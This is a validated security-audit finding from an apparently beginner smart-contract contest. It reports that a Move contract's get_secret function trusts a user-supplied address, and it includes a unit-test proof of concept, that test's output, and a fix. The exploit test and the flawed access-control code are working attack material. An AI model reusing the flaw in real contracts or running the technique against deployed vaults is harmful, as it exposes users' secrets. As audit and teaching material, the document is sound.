Secret Vault on Aptos

First Flight #46
Beginner FriendlyWallet
100 EXP
View results
Submission Details
Severity: high
Valid

Improper Access Control via User-Supplied Address in get_secret function

Root + Impact

Description

The get_secret function is intended to restrict access to the stored secret so that only the owner can retrieve it. While the function contains a check to verify whether the caller matches the owner, the caller parameter is supplied directly by the external caller. This means the function does not validate the identity of the transaction sender (signer) but instead trusts a freely user-supplied address. As a result, an attacker can pass the owner’s address as the caller and gain full read access to the stored secret.

//// view functions
#[view]
public fun get_secret(caller: address):String acquires Vault{
@> assert!(caller == @owner, NOT_OWNER);
let vault = borrow_global<Vault >(@owner);
vault.secret
}

The access control relies on a parameter that can be manipulated by the user, instead of deriving the address from the signer or validating ownership based on authenticated transaction context.

Risk

Likelihood - High

  • The function is publicly callable and the caller argument can be freely set by any user at call time.

  • No on-chain mechanism enforces that the supplied caller is tied to the caller’s signer account.

  • The vulnerability can be exploited immediately and remotely without any prerequisites such as prior access or special roles.

Impact - High

  • Unauthorized disclosure of sensitive secret data from any vault.

  • Complete loss of confidentiality for all stored secrets, as any attacker can retrieve any user’s vault content.

Proof of Concept

The following PoC, which can be added to the secret_vault::vault module, demonstrates how a malicious user can retrieve the owner’s secret without authorization and can be used to verify the issue.

/// [VULNERABILITY PoC] Demonstrates unauthorized access to secret data
/// This test proves that any caller can retrieve secrets from any vault,
/// bypassing the intended owner-only access control mechanism.
#[test(owner = @0xcc, user = @0x123, hacker = @0x456)]
fun test_unauthorized_secret_access_vulnerability(owner: &signer, user: &signer, hacker: &signer) acquires Vault {
use aptos_framework::account;
use std::string::utf8;
// Initialize test accounts
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
account::create_account_for_test(signer::address_of(hacker));
// Owner sets a confidential secret
let confidential_data = b"TOP_SECRET_PASSWORD_123";
set_secret(owner, confidential_data);
// EXPLOIT: Hacker attempts to access owner's secret
let owner_address = signer::address_of(owner);
let stolen_secret = get_secret(owner_address);
// Verify the exploit succeeded - hacker retrieved owner's secret
assert!(stolen_secret == string::utf8(confidential_data), 4);
debug::print(&utf8(b"[CRITICAL VULNERABILITY CONFIRMED]"));
debug::print(&utf8(b"Hacker successfully accessed owner's secret:"));
debug::print(&stolen_secret);
debug::print(&utf8(b"This proves unauthorized access is possible!"));
}

Execution Output:

$ aptos move test -f test_unauthorized_secret_access_vulnerability --dev
...
Running Move unit tests
[debug] "[CRITICAL VULNERABILITY CONFIRMED]"
[debug] "Hacker successfully accessed owner's secret:"
[debug] "TOP_SECRET_PASSWORD_123"
[debug] "This proves unauthorized access is possible!"
[ PASS ] 0x234::vault::test_unauthorized_secret_access_vulnerability
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}

Recommended Mitigation

  • Remove the caller argument from the get_secret function and instead derive the caller’s address from the &signer parameter.

  • Implement the access control check using authenticated transaction context:

- #[view]
- public fun get_secret(caller: address):String acquires Vault{
+ public fun get_secret(caller: &signer): String acquires Vault {
+ let caller_addr = signer::address_of(caller);
+ assert!(caller_addr == @owner, NOT_OWNER);
- assert!(caller == @owner, NOT_OWNER);
- let vault = borrow_global<Vault >(@owner);
+ let vault = borrow_global<Vault>(@owner);
vault.secret
}
Updates

Lead Judging Commences

bube Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of signer check in `get_secret`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.